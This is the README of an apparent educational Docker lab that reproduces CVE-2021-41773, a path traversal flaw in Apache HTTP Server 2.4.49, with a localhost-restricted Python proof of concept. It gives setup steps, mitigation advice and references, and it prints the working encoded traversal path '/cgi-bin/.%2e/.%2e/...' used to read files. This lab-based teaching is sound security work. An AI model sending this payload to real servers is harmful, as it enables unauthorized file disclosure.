s-amnajafri/cve-2021-41773-apache-labDocker-based lab for reproducing CVE-2021-41773 (Apache HTTP Server 2.4.49) through controlled path traversal and file disclosure using a custom Python PoC.
Reproduction of CVE-2021-41773, a path traversal vulnerability in Apache HTTP Server 2.4.49.
This project uses Docker to create an isolated vulnerable environment and a Python PoC to demonstrate controlled file disclosure.
Safety: The PoC only accepts
localhost,127.0.0.1, or::1targets. Testing must remain inside the isolated lab.
This project demonstrates:
The demonstration focuses on file disclosure rather than remote code execution.
CVE-2021-41773-Apache-Lab/
│
├── docker/
│ ├── Dockerfile
│ ├── httpd-vulnerable.conf
│ └── secret.txt
│
├── exploit/
│ └── exploit.py
│
├── screenshots/
│ ├── 01-docker-container.png
│ ├── 02-apache-version.png
│ └── 03-successful-exploit.png
│
├── report/
│ └── CVE-2021-41773-Exploit-Report.pdf
│
├── requirements.txt
├── .gitignore
└── README.md
The PoC uses only Python's standard library and does not require third-party Python packages.
From the repository root:
docker build -t cve-2021-41773-lab ./docker
docker run --rm --name cve-2021-41773-lab \
-p 127.0.0.1:8080:80 \
cve-2021-41773-lab
Keep this terminal running.
The Apache service is exposed only through:
127.0.0.1:8080
In another terminal:
docker ps
The container should show:
127.0.0.1:8080->80/tcp
docker exec cve-2021-41773-lab httpd -v
Expected:
Server version: Apache/2.4.49 (Unix)
curl http://127.0.0.1:8080/
The Apache test page should be returned.
The PoC is located at:
exploit/exploit.py
Run:
python3 exploit/exploit.py
The default target is:
http://127.0.0.1:8080
The default proof file is:
/lab/secret.txt
A successful run produces:
[+] Vulnerability reproduced.
[+] Controlled file disclosure confirmed.
The PoC then displays the contents of the controlled lab file.
The PoC first checks that the target is a local address:
localhost
127.0.0.1
::1
It then constructs a path containing encoded traversal components:
/cgi-bin/.%2e/.%2e/.%2e/.%2e/lab/secret.txt
The request is sent using Python's standard socket module. This gives the PoC direct control over the HTTP request path.
The vulnerable Apache 2.4.49 server processes the crafted path and returns the contents of:
/lab/secret.txt
Retrieving this file confirms the path traversal and controlled file disclosure.
CVE: CVE-2021-41773
Product: Apache HTTP Server
Affected Version Demonstrated: 2.4.49
Vulnerability Type: Path Traversal / File Disclosure
CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. A specially crafted URL can bypass intended path restrictions and allow access to files outside the expected directory.
Under certain configurations, the vulnerability can have more severe consequences. This project deliberately demonstrates controlled file disclosure in an isolated Docker environment.
Screenshots collected during testing are stored in:
evidence/
Evidence includes:
The primary mitigation is to upgrade Apache HTTP Server to a fixed version.
Additional defensive measures include:
Apache HTTP Server Security Advisory: https://httpd.apache.org/security/vulnerabilities_24.html
NIST National Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2021-41773
CERT-EU Security Advisory: https://cert.europa.eu/publications/security-advisories/2021-054/
This project is intended solely for authorized security education and controlled laboratory testing.
The Docker environment and PoC are designed for local testing. Do not use the PoC against systems that you do not own or have explicit permission to assess.